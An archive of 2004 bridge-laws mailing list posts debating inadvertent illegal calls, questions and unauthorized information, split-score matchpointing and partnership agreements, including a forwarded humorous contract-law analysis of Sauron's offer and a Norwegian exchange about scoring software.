svenpran@online.no (Sven Pran) Date: Sun, 21 Mar 2004 20:45:44 +0100 Subject: [blml] X as first call In-Reply-To: Message-ID: <000001c40f7d$198a28f0$6900a8c0@WINXP> Sorry, my mistake! Regards Sven > -----Original Message----- > From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On Behalf Of > Laval Dubreuil > Sent: 21. mars 2004 17:57 > To: svenpran@online.no; blml@rtflb.org > Subject: RE: [blml] X as first call > > Sven writes: > > Except for you sidetracking into asking LHO whether he would accept the > illegal call (which was no option!) your ruling is correct. > ________________________________________________________________________ > > No... I offered LHO to accept the substituted call (1H) (25B1), > not the illegal X. > > Laval Du Breuil > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml From Frances.Hinden@Shell.com Sun Mar 21 21:44:56 2004 From: Frances.Hinden@Shell.com (Hinden, Frances SI-PXS) Date: Sun, 21 Mar 2004 21:44:56 -0000 Subject: [blml] Standard Message-ID: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E1DB17B6@lonsc-s-031.europe.shell.com> On Mon, 15 Mar 2004, David Stevenson wrote: > It is intriguing how many people who are not in England assume that = a > regulation which has been a howling success at reducing a serious > problem to minute proportions is completely wrong. > > The aim of the EBU regulation was to stop the continuous club leads = to > alerted Stayman bids, diamond and heart leads to transfer bids, the > French defence to 1NT openings, two-level takeout doubles [less values > if done after a question] and so on and so on. As I said, the aim is an honourable one. > I know that players could be continually calling the TD for UI = rulings > in clubs - club TDs would love that - but the solution of getting the > problem to go away in most cases seems laudable. Why do you consider = it > a failure? > > Maybe in North America fifteen years ago players asked what a 2C > response to 1NT was always or never. In which case you did not need = our > reg: but we did. Fifteen years ago, I couldn't say: I've been playing tournament bridge = for eleven years now, and directing for eight. In my experience it's a minor problem confined entirely to beginners who don't know better. In all = that time I can recall only two cases at my table where a moderately experienced player's question seemed a bit suggestive. I've neither = called a director nor been called for this infraction, ever. Players here sometimes are advised not to ask until the end of the = auction - but the advice is always followed by "because you don't want to bail = out the opponents if they're having a misunderstanding," on suspicion the other side might abuse UI - the idea of giving your partner a problem by asking just doesn't cross people's minds much here, apparently. Why do I consider the EBU approach a failure? Well.... on BLML, we've = had a number of cases involving UI after a question, and all the cases seem = to have come from outside North America. And you've just asked me to = comment on the EBU appeals from last year -- two of the nineteen appeals = involved this very regulation,=20 [Frances] Really? Which two? I can't see any. There was one ruling based on UI transmitted by asking questions during the auction. The same ruling=20 would be given anywhere in the world I should think. There was one = other when a natural bid was alerted and someone didn't ask before doubling -=20 but no-one says they aren't allowed to ask... and there's no UI involved here: if it was a cue-bid they want to double (fine); if it's natural they don't want to double & don't want the lead (also fine). while two other appeals involved hesitations. We get plenty of UI-from-hesitation rulings here, and some of them are appealed. The evidence available to me so far is that a) the motivating problem is an extremely rare one and b) the "solution" has *doubled* the number of people who are put into a damned-if-you-bid, = damned-if-you-dont situation. Yes, I call that a failure of monumental proportions. I admit that my conclusion is based on two assumptions -- that my experience as = a player and director has been typical, and that my small sampling of EBU cases has been representative. [Frances] The advice about not asking until the end of the auction is not aimed at the sort of people who play at the EBU summer meeting. It's aimed at club players who don't understand the UI rules at all. I suppose this will be another issue like "red psyching" that we'll be forced to agree-to-disagree about. My feelings there are much the same - = a small problem with a draconian solution that infringes on player's = rights. GRB [Frances] Maybe I'm flogging a dead horse. What rights are infringed? From richard.hills@immi.gov.au Sun Mar 21 22:54:11 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Mon, 22 Mar 2004 08:54:11 +1000 Subject: [blml] alerts, questions, answers and UI [was Standard] Message-ID: Robert E. Harris: [snip] >One's methods often require some knowledge of >opponent's methods, and that may not be easily >available when only a few boards are to be >played in a short period of time. People who >play odd methods bring a certain amount of >trouble on themselves, generating the need for >questions that may create UI. > >I've always felt that there is UI and then >there is a sort of semi-UI that may be created >by the situation. Yeh, I know there is only UI >in the laws, but civil and criminal laws get >interpreted all the time, and so do bridge >laws. (Self defence ought to be justifiable in >bridge. Or maybe we need some sort of >"unwritten law.") Richard James Hills: The "only a few boards" disclosure problem has been partially solved in Australia. Yellow (HUM) methods are prohibited in Aussie matchpoint pairs events. Furthermore, bunnies playing in an Aussie matchpoint pairs, who themselves use basic Green methods, may choose to prohibit their opponents from using odd Red conventions in that round. However, I disagree that use of semi-UI should be legalised. In my opinion, legal use of any UI (semi- or otherwise) strikes at the root of the yggdrasil of bridge. I do, however, agree that users of odd methods can sometimes gain an unfair advantage when their opponents must choose between: Scylla -> not asking a question, so being caught unawares by an auction's unexpected meaning, or Charybdis -> asking a question which puts partner under Law 16 constraints. In my opinion, the solution is not selecting the answer Charybdis, with a consequential amendment of the Laws to redefine Charybdis-related questions as AI. Rather, in my opinion, the solution is to avoid Scylla and Charybdis altogether by insisting upon players using odd methods giving comprehensive *advance* disclosure. For example, the Aussie Interstate Teams requires circulation of the complete methods of the contestants one month before the event starts. Best wishes RJH -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From richard.hills@immi.gov.au Sun Mar 21 23:45:42 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Mon, 22 Mar 2004 09:45:42 +1000 Subject: [blml] X as first call Message-ID: Kojak wrote: [snip] >It was drilled into me by Edgar and others many years ago >that when a specific law exists for an action, that law >is to be applied. When no such specific provision >exists, then the general laws are used for guidance in >what to do. [snip] RJH asks: Then why did Edgar avoid writing this drill in "The Scope and Interpretation of the Laws"? In my opinion, Law 25A comprehensively states that *all* inadvertent calls (legal or illegal) may be replaced by an intended call if there is no pause for thought. Yet now Kojak is stating that an inadvertent inadmissible double is an implicit exception to the rights granted by Law 25A. Of course, I am contrarily stating that Law 25A is an implicit exception to the penalty defined by Law 36. Can this paradox be paradoctored? :-) Best wishes Richard James Hills -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From blml@blakjak.com Mon Mar 22 00:10:23 2004 From: blml@blakjak.com (David Stevenson) Date: Mon, 22 Mar 2004 00:10:23 +0000 Subject: [blml] a small matter of scoring In-Reply-To: References: Message-ID: Petrus Schuster OSB wrote >It's nothing much, but: >Let's assume there is a split score of NS -100, EW +620. The other 99 >scores are all +140. >Now, applying L78A would give (on a top of 198) 100 matchpoints to all >NS pairs scoring +140, and equally 100 matchpoints to their opponents >so that NS and EW percentages for +140 add up to 101%. >You would need seperate frequency sheets for NS and EW. >Does any software actually do this? I expect so. It is the correct method, after all - see my description of the correct way to apply Split and Weighted scores in the EBU White book, section #78.1.3, p59. However, disappointingly, CASS, the new EBU software does not - yet. The writer promises me the next version will. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From richard.hills@immi.gov.au Mon Mar 22 01:45:49 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Mon, 22 Mar 2004 11:45:49 +1000 Subject: [blml] ethics or Ethics (was Should ... infractions) Message-ID: [snip] >It doesn't work any better in real life - why do >any of you think it can work in Bridge? > >Especially laws drafted by a committee, probably >without any legal drafting training or >experience.... > >regards, >Noel "The first thing we do, let's kill all the lawyers." William Shakespeare - Henry VI, Part 2 I agree with DWS that the Laws do not need to be legally watertight, secure from quibbling by all sea-lawyers. If the clear intent of the Laws means only one thing, then a TD should be entitled to rule that way, even if a misplaced comma means that a sea- lawyer has a technical case for the diametrically opposite ruling. For example, in 1916, the Irish insurrectionist Sir Roger Casement was tried for treason. He was undoubtedly guilty, so his defence counsel tried a sea-lawyer quibble about the punctuation of the 1351 Act of Treason. Despite the misplaced comma in the wording of the Act, the judge ruled that the Act's intent was clear, so Casement was still sent to the gallows. Of course, the Laws as currently written often lack a clear intent. But, in my opinion, legal drafters are *not* what are needed to fix the 2006 Laws. This is because the Laws are primarily an instruction manual for TDs. Therefore, technical writers skilled in information mapping and plain English are needed to format the 2006 Laws. Best wishes Richard James Hills -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From grandeval@vejez.fsnet.co.uk Mon Mar 22 00:37:25 2004 From: grandeval@vejez.fsnet.co.uk (grandeval) Date: Mon, 22 Mar 2004 00:37:25 -0000 Subject: [blml] destroy the village to save it References: Message-ID: <002801c40fa8$c15df860$ebb2193e@4nrw70j> Grattan Endicott To: Sent: Friday, March 19, 2004 12:56 AM Subject: Re: [blml] destroy the village to save it > > 2C [H+minor] 2S 3D [p/c for minor] 4H [fit non-jump] > 4S [clubs, cue] 5H [nat, slam try] 6D > > How can we possibly play bridge when a pair has come to a major > Championship without discussing what 6D means in this sequence? > Disgraceful! > > I was directing the Seniors Trials the other day. John Collings v > Paul Hackett, two of our leading characters, on the same side of the > screen. The bidding sequence went > > 2D [weak] X 2S > > and Paul did not know what 2S meant [he was not playing in the expected > partnership owing to severe illness at the last moment: collapsed lung > consequent on heart bypass seemed a good enough excuse to me]. > ----------- \x/ --------- > When the day comes that the Laws require a partnership to know all > their agreements in these two situations it will be a sad day for the > game of bridge. > > -- > David Stevenson < +=+ I would have said the laws do require, now, that players must be able to explain all their agreements. In the cases cited it is not clear to me that there were agreements to explain. The argument is put to me that in higher level bridge players should be required to know their agreements, which would, of course, include any agreements they may have as to principle in unforeseen situations.(This latter question may have been explored by the Director in these examples.) ~ Grattan ~ +=+ From schoderb@msn.com Mon Mar 22 01:36:45 2004 From: schoderb@msn.com (WILLIAM SCHODER) Date: Sun, 21 Mar 2004 20:36:45 -0500 Subject: [blml] X as first call References: Message-ID: Good luck! I'm faced with an illegal double, and I have a law that tells me what to do with an illegal double, not just any call. (It even says ANY in the wording). I have other laws that are more general, but not specific to this situation. So, I should now discard the law that is applicable, substitute my greater knowledge and prescience for a simple situation, and come up with some manufactured solution. This of course qualfies me for some sort of intellectual "oscar" and completely defeats the purpose of the laws. For those who wish to do so, buy all means your NCBO or Zonal organization may appreciate getting a gift, and there are those self-styled savants who will take up the cudgels for your argument. but when it came to the world events, you bought what the law gave you. Do what you want, but you won't work for me, not even in a novice game. I grieve for our game. Kojak ----- Original Message ----- From: To: Sent: Sunday, March 21, 2004 6:45 PM Subject: Re: [blml] X as first call Kojak wrote: [snip] >It was drilled into me by Edgar and others many years ago >that when a specific law exists for an action, that law >is to be applied. When no such specific provision >exists, then the general laws are used for guidance in >what to do. [snip] RJH asks: Then why did Edgar avoid writing this drill in "The Scope and Interpretation of the Laws"? In my opinion, Law 25A comprehensively states that *all* inadvertent calls (legal or illegal) may be replaced by an intended call if there is no pause for thought. Yet now Kojak is stating that an inadvertent inadmissible double is an implicit exception to the rights granted by Law 25A. Of course, I am contrarily stating that Law 25A is an implicit exception to the penalty defined by Law 36. Can this paradox be paradoctored? :-) Best wishes Richard James Hills -------------------------------------------------------------------------------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. This email, including attachments, may contain confidential, legally privileged and/or copyright information, the unauthorised use of which is prohibited. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to be the view of the Department of Immigration and Multicultural and Indigenous Affairs (DIMIA). DIMIA respects your privacy and has obligations under the Privacy Act 1988 (see www.immi.gov.au). -------------------------------------------------------------------------------------- _______________________________________________ blml mailing list blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml From richard.hills@immi.gov.au Mon Mar 22 03:06:38 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Mon, 22 Mar 2004 13:06:38 +1000 Subject: [blml] destroy the village to save it Message-ID: [snip] >>When the day comes that the Laws require a partnership to know >>all their agreements in these two situations it will be a sad >>day for the game of bridge. >> >>David Stevenson >+=3D+ I would have said the laws do require, now, that players >must be able to explain all their agreements. In the cases cited >it is not clear to me that there were agreements to explain. The >argument is put to me that in higher level bridge players >should be required to know their agreements, which would, >of course, include any agreements they may have as to >principle in unforeseen situations.(This latter question may >have been explored by the Director in these examples.) > ~ Grattan ~ +=3D+ The Meckwell partnership have spent more time than most partnerships discussing default principles for unforseen situations. Yet, in a World Championship, a 4NT call fell foul of a meta-default snag. One of the Meckwell agreed defaults stated that 4NT was Blackwood; the other of the agreed Meckwell defaults stated that 4NT was natural and terminal. If "required to know their agreements" means "required to have a hierarchy of default agreements, meta-default agreements, meta-meta-default agreements.....", then no partnership in the world could meet that requirement of infinite regress. :-) Best wishes Richard James Hills -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From richard.hills@immi.gov.au Mon Mar 22 03:48:11 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Mon, 22 Mar 2004 13:48:11 +1000 Subject: [blml] X as first call Message-ID: Kojak: >Good luck! I'm faced with an illegal double, and >I have a law that tells me what to do with an >illegal double, not just any call. (It even says >ANY in the wording). I have other laws that are >more general, but not specific to this situation. >So, I should now discard the law that is >applicable, substitute my greater knowledge and >prescience for a simple situation, and come up >with some manufactured solution. This of course >qualifies me for some sort of intellectual >"Oscar" and completely defeats the purpose of >the laws. RJH: But what is the purpose of Law 25A, as originally intended by the WBF LC? It seems to me that Law 25A directs that "the applicable Law" for an illegal call should only apply if the "last call" was illegal, not if the earlier cancelled inadvertent call is illegal. Kojak: >For those who wish to do so, buy all means your >NCBO or Zonal organization may appreciate getting >a gift, and there are those self-styled savants >who will take up the cudgels for your argument. >But when it came to the world events, you bought >what the law gave you. RJH: Indeed. But what has the Laws given us? Kojak: >Do what you want, but you won't work for me, not >even in a novice game. I grieve for our game. RJH: I grieve at this counter-example to the idea that sensible interpretation of the Laws resolves any sea-lawyer quibbles. In this case, we have two different but sensible interpretations of the Laws espoused by two groups of sensible TDs. However, one of Australia's CTDs has proposed an interpretation which might cut the Gordian knot. He argues that an inadvertent call cancelled pursuant to Law 25A never actually existed, but merely had temporary virtual existence. For example, if a player inadvertently pulls a Double card from next to their intended Pass card, that Double never actually existed, so Law 36 cannot apply. This Aussie interpretation is consistent with Law 25A's "without penalty" clause. For if a cancelled call had actual existence, then it would be a logical consequence that Law 16C and Law 26 should apply to information from the cancelled call. Best wishes Richard James Hills -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From ereppert@rochester.rr.com Mon Mar 22 02:51:01 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Sun, 21 Mar 2004 21:51:01 -0500 Subject: [blml] destroy the village to save it In-Reply-To: Message-ID: On Sunday, Mar 21, 2004, at 22:06 US/Eastern, richard.hills@immi.gov.au wrote: > If "required to know their agreements" means "required to > have a hierarchy of default agreements, meta-default > agreements, meta-meta-default agreements.....", then no > partnership in the world could meet that requirement of > infinite regress. My problem with this is that I have seen, at the club level at least, an interpretation of this regulation (it's in the ACBL General Conditions of Contest, see below) that a partnership must *have* agreements, particularly in "to be expected" situations. I don't buy it. ACBL General Conditions of Contest, Conventions and Convention Cards, item 2: "A partnership is responsible for knowing when their methods apply in probable (to be expected) auctions. A pair may be entitled to redress if their opponents did not originally have a clear understanding of when and how to use a convention that was employed." From gesta@tiscali.co.uk Mon Mar 22 03:20:09 2004 From: gesta@tiscali.co.uk (gesta@tiscali.co.uk) Date: Mon, 22 Mar 2004 03:20:09 -0000 Subject: [blml] Explain References: <000e01c40d85$158ed470$c5d2403e@multivisionoem> <002101c40f6a$91192230$1e81b6d4@LNV> Message-ID: <002f01c40fbc$d19e0940$b3e4403e@multivisionoem> Grattan Endicott To: "blml" Sent: Sunday, March 21, 2004 5:32 PM Subject: Re: [blml] Explain > > What I do know is that the LC in Monaco '03 > agreed that a player who wants to understand > what is going on during the auction and asks > about the meaning of calls, therewith has a > bridge reason. Grattan simply is misleading blml. << +=+ from the WBFLC minutes, Monaco 2003: " The Secretary expressed his concern about the potential of questions to mislead opponents and drew attention to the requirement where this is alleged to have happened (and the questioner could have known that asking the question might work to his benefit) to show (Law 73F2) that he had a "demonstrable bridge reason" for asking the question. The chairman expressed his opinion that Law 73F2 should only be used in extreme situations when a player asks about the meaning of a call. He thought that normally a desire to know what is happening at the table is a good enough "bridge reason". Mr. Schoder cited his experience of a case where, in his opinuion it was appropriate to apply that law and, likewise not convinced of the chairman's argument, the Secretary maintained his position that the occasion for applying 73F2 is a matter for the Director and the Appeals Committee to judge. Mr.Wignall spoke of the possibility of asking questions randomly whether interested or not. He felt there needed to be some scope for asking questions even when not interested in the reply. Mr Schoder referred to the possibility of replacing alerts with announcements. There was no final resolution of the differences of opinion and no agreed interpretation of the law." ~ Grattan ~ +=+ From richard.hills@immi.gov.au Mon Mar 22 07:25:37 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Mon, 22 Mar 2004 17:25:37 +1000 Subject: [blml] The Law of Contract Message-ID: In the "X as first call" thread, Kojak wrote: >So, I should now discard the law that is >applicable, substitute my greater knowledge and >prescience for a simple situation, and come up >with some manufactured solution. Richard James Hills replies: Kojak should not be critical of blmler sea- lawyers from coming up with minor manufactured solutions - that is peanuts compared to a major manufactured solution that a real lawyer could generate. See attached. Best wishes RJH * * * Letters of Marque : Heidi Bond's blog of life as a weird Michigan law student. December 09, 2003 Sauron: Offer and acceptance "As a small token of your friendship Sauron asks this," he said: "that you should find this thief," such was his word, "and get from him, willing or no, a little ring, the least of rings, that once he stole. It is but a trifle that Sauron fancies, and an earnest of your good will. Find it, and three rings that the Dwarf-sires possessed of old shall be returned to you, and the realm of Moria shall be yours for ever. Find only news of the thief, whether he still lives and where, and you shall have great reward and lasting friendship from the Lord. Refuse, and things will not seem so well. Do you refuse?" --The Fellowship of the Ring, in "The Council of Elrond" It seems to me that's really two, maybe three separate offers. The first seems to be unambiguously an offer for a unilateral contract (to find the supposedly piddling ring for three of the Dwarf rings of power plus the estate of Moria), to be completed by performance. Dain wouldn't want to bind himself to produce a ring; it's too risky. This seems like the straight-forward reward scenario envisioned as a prototypical offer for a unilateral contract. A few comments on material facts: You might say that Sauron should have disclosed the Balrog living in the deeps of Moria. But the Dwarves had ancient records of Moria which probably mention this, and Sauron is old enough to imagine that the Dwarves knew. It seems silly to require disclosure of a fact which, though admittedly material, is known to both parties, even though they never actually mention it to each other. The same sort of reasoning applies to the fact that the Dwarven rings are actually tainted (although Dwarves tend to resist his power a little better than men). The second (offer to exchange news of the whereabouts of the ring and owner in exchange for great reward and lasting friendship) also seems like a unilateral contract, for the same reason; it's not clear that the Dwarf-lords would be able to get information about the ring, and so again, it looks like a standard reward scenario. But then we get to the last statement. "Refuse, and things will not seem so well." There are (at least) two ways I can think of to view this. One possibility is that Sauron is not actually proposing unilateral contracts at all. After all, a reasonable interpretation of his offers would be that they were unilateral, but we're talking about Dark Lord Sauron who really wants to enslave all the free peoples. He might not contemplate reasonable contracts. In fact, given the ease with which agents of the Dark exact damages from lackeys who fail them, it seems possible that in Mordor, where the shadows lie, all contracts are bilateral, no matter how ridiculous it seems to contemplate such a thing. So maybe what he's saying is that if they fail to produce the ring or any information, he'll exact expectation damages. But this reading doesn't really make sense given the express language of the offer. The Messenger from Mordor isn't claiming that if they fail to deliver the ring they'll suffer expectation damages unto the fourth generation. He's saying "Refuse, and things will not seem so well." The "Refuse" comment modifies the offer. The law doesn't contemplate expectation damages if you don't accept an offer, although Sauron might. So it seems to me that the proper reading of this is that there are three bilateral contracts. You give me the One Ring in exchange for these three tainted Dwarven rings and Moria (bilateral contract) if you find the Ring (condition precedent). You give me information about the One Ring in exchange for great reward and lasting friendship (bilateral contract) if you find such information (condition precedent). You promise to make a good faith effort to find the One Ring or information about it, or I march my Wargs and goblin hordes to your doorstep and make mincemeat of you all (bilateral contract; if the Dwarves agreed to it, but wanted out they could argue duress). Now suppose Dain agrees to this, and finds the Ring. Could Sauron enforce this contract to get the Ring? If the contract were valid, this might be one of those things where specific performance would be allowed. The item is unique. And damages are nearly impossible to calculate. If they produce the Ring, Sauron rules over all the peoples of Middle Earth and orcs overrun everything. Sauron gets his body back. He can *blink* his eyes. He can use eye drops. If your eye had been wreathed in flame for millenia, how would you value that? Damages are clearly uncertain. And enforcing the contract wouldn't require that the court do much by way of babysitting. So it seems like a straight-forward contract for a unique item, where specific performance may be contemplated. On the other hand, there's a little problem with the Ring. See, Sauron can use it to enslave everybody. And courts don't like specific performance in cases which smack of personal servitude. The problem is, though, this is a case of first impression. Normally they eschew specific performance in the case of, say, employment contracts, where the proximate result of the contract is that someone is forced to do work they don't want to. We've never had a case of supernatural exchange, where you're forced to give over something that would enslave all the Free Peoples of the earth. Some courts might understandably balk at this result. But others would say that what Sauron does with the ring to enslave people really doesn't matter. After all, if this were a standard employment contract, and all you could do was collect money damages, you might very well use the money to employ someone else. The Dwarves would argue that this is disanalogous in the extreme, since you'd be employing someone who freely chose to be there. The Ring, they'd say, would rob Men, Hobbits, and Elves of their free will. Ultimately, I don't think Sauron should win this one; even the most conservative judges would balk at the idea that the right of contract is so sacred that we should throw away everyone's collective ability to make free choices. If anything should be void on grounds of public policy, this contract's it. But we can't underestimate the corrupting power of the Ring. It wants to go back to him, my preciousss. Luckily there are a few other issues that can be raised in defense of the Dwarves right to toss the Ring (if found) in Mount Doom rather than handing it over to a powerful, evil corrupt Maia. For one, there's a bit of a misunderstanding. See, Sauron labels this Ring as "the least of Rings" but really he can use it to enslave everyone. The Dwarves might well say "What? We thought you meant that plastic decoder thing that Isildur stole from your breakfast cereal - Elrond's had that as a memento of the War of the Ring forever! Damn. But we had no contract for this Ring." Unfortunately, it seems that there was evidence that the Great Lord made it clear exactly which Ring he meant. It's not listed here, but it's pretty clear that Sauron knew that the Dwarves knew that he was talking about Bilbo's ring. So the Dwarves knew which ring he meant, and Sauron knew which ring he meant, and if his description was possibly not as descriptive as we might like, there was clear evidence of intent. There was no misunderstanding about which Ring the parties intended. The Dwarves might claim that Sauron's description was fraudulent. After all, he did sort of describe it as "a trifle" when in fact it was the most powerful Ring ever. Sauron might try to get around this by saying, "Look, it was me. I'm pure evil. What were you expecting, fair and open dealing?" But it seems kind of bizarre to claim a contract wasn't fraudulent because you're known to be a fraud. Yes, the Dwarves shouldn't have trusted his statements. But just because it would be foolish for them to believe Sauron's valuation of the Ring doesn't mean that he's allowed to misrepresent. So Sauron's best argument was that he wasn't fraudulent at all. True, he undervalued the Ring. Significantly. But this is probably the standard sort of puff that appears in the bargaining process; each party downplays the worth of the item he wants, to try and get as good a price as possible. The Dwarves' best argument is that the contract is unenforceable under the Statute of Frauds. The One Ring itself is of incalculable value. The rings that the Dwarf-sires possessed of old are almost certainly worth more than $5,000,000 a piece, let alone $5,000. Plus Moria is a vast mining tract, so the promise to hand it over can't be conveyed by an oral contract. It's hard to imagine that a disembodied all-seeing eye wreathed in flame can produce a signed writing, and besides, all I see are oral conversations in hissed whispers, maybe a palant=EDr conversation or two - nothing, really, that would satisfy the memorandum required by the Statute. I was going to go on and do the bit where Dain answers and discuss whether it's acceptance (it's not) or refusal (it's not) or a counter-offer (it's not) but quite frankly, what I did above was plenty exhausting (and admittedly strained in parts, but hey, my preciouss, what did you expect? The contracts case, it hurts us, yess it does). -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From schuster@eduhi.at Mon Mar 22 06:53:33 2004 From: schuster@eduhi.at (Petrus Schuster OSB) Date: Mon, 22 Mar 2004 07:53:33 +0100 Subject: [blml] a small matter of scoring In-Reply-To: References: Message-ID: Thank you all - it seems there's work for us to do. Regards, -- Petrus From svenpran@online.no Mon Mar 22 09:23:04 2004 From: svenpran@online.no (Sven Pran) Date: Mon, 22 Mar 2004 10:23:04 +0100 Subject: [blml] X as first call In-Reply-To: Message-ID: <000001c40fef$48abb730$6900a8c0@WINXP> > richard.hills@immi.gov.au ....... > But what is the purpose of Law 25A, as originally > intended by the WBF LC? It seems to me that Law > 25A directs that "the applicable Law" for an > illegal call should only apply if the "last call" > was illegal, not if the earlier cancelled > inadvertent call is illegal. That is exactly how we use Law 25A in Norway: When we rule that Law 25A is applicable to a "change of call" it means = that the player never intended to make his first (replaced) call, that call conveys no information and is treated as if it had never been made. This is also why we always first try a change of call against Law 25A = before proceeding to Law 25B and the other laws in the book. The terms "If legal" and "if illegal" in Law 25A literally address the = last (replacing) call. Regards Sven From svenpran@online.no Mon Mar 22 09:40:33 2004 From: svenpran@online.no (Sven Pran) Date: Mon, 22 Mar 2004 10:40:33 +0100 Subject: [blml] a small matter of scoring In-Reply-To: Message-ID: <000001c40ff1$b931a530$6900a8c0@WINXP> Det har v=E6rt litt mer kommentarer p=E5 blml og det ser for meg ut som = f=F8lgende mekanisme b=F8r v=E6re mulig, og antakelig standard ved splittet score: Man legger inn resultatet separat for hver av sidene, for eksempel: 4 spar Nord 12 stikk med virkning for Nord-Syd, 6 Spar Nord 11 stikk med virkning for =D8st-Vest. Ved utregning av matchpoengene for alle parene Nord-Syd benyttes i dette eksemplet resultatet +680 fra dette bordet mens for alle parene = =D8st-Vest benyttes resultatet -100 fra dette bordet. Konsekvensen vil da ofte bli at resultatene ikke lenger balanserer (Nord-Syd/=D8st-Vest) ved samtlige bord, ikke bare ved det bordet hvor = det er d=F8mt splittet score! Mvh Sven > -----Original Message----- > From: Christian Randulf Bull [mailto:christian.bull@abcdata.no] > Sent: 22. mars 2004 09:44 > To: Sven Pran > Cc: Einar Gulbrandsen (E-mail) > Subject: RE: [blml] a small matter of scoring >=20 > Hei Sven, >=20 > Vi har i den versjonen som ligger ute en funksjon for splittet score, = og > den > tror jeg fungerer slik vi ble "l=E6rt opp". Denne korreksjonsmetoden = vil > imidlertid fjernes i forbindelse med oppdateringen av programmet som = Einar > jobber med. >=20 > Vi vil i den versjonen implementere Vektet score, og det er = fors=E5vidt det > samme som splittet score, men du kan samtidig vektlegge flere = resultater > samtidig. S=E5vidt jeg har forst=E5tt er dette den metoden Ton = =F8nsker at skal > brukes. >=20 > Einar, korriger hvis dette ikke er riktig. >=20 > Christian >=20 > -----Original Message----- > From: Sven Pran [mailto:svenpran@online.no] > Sent: 21. mars 2004 12:37 > To: BK2000-Christian; BK2000-Einar > Cc: Harald Skj=E6ran NBF > Subject: FW: [blml] a small matter of scoring >=20 >=20 > Her er et innlegg p=E5 blml idag som jeg tror dere b=F8r se n=E6rmere = p=E5! >=20 > Sp=F8rsm=E5let er i realiteten hvordan h=E5ndtere split score i = parturneringer, > og > jeg har aldri f=F8lt meg helt komfortabel med den fremgansm=E5ten vi = ble "l=E6rt > opp" til =E5 benytte her hjemme: Fastsette det ene resultatet som > normalresultat (som inng=E5r i beregningen av matchpoeng for resten av > salen) > og d=F8mme straffepoeng p=E5 spillet for =E5 komme frem til det andre = resultatet > ved bordet. >=20 > Rolf B=F8e anbefalte i sin bok fra 1945 (s. 105 - "alternativ = middelscore") > =E5 > score slike bord "likt" med alle bord som har resultater i intervallet > mellom de to splittede resultatene, en prosedyre som s=E5vidt jeg = forst=E5r > ingen f=F8lger (men som jeg synes unektelig har mye for seg). >=20 > Den rutinen som beskrives nedenfor, og som tydeligvis Ton Kooijman = anser > er > den korrekte, er alts=E5 =E5 tildele matchpoeng Nord-Syd i henhold til > resultatene Nord-Syd og matchpoeng =D8st-Vest i henhold til = resultatene > =D8st-Vest. >=20 > Er dette den m=E5ten BK-2000 h=E5ndterer split score eller betraktes = split > score > som justert score for en eller begge sidene? >=20 > (Husk at Ton er ikke hvem som helst i bridge-sammenheng!) >=20 > Mvh Sven >=20 > -----Original Message----- > 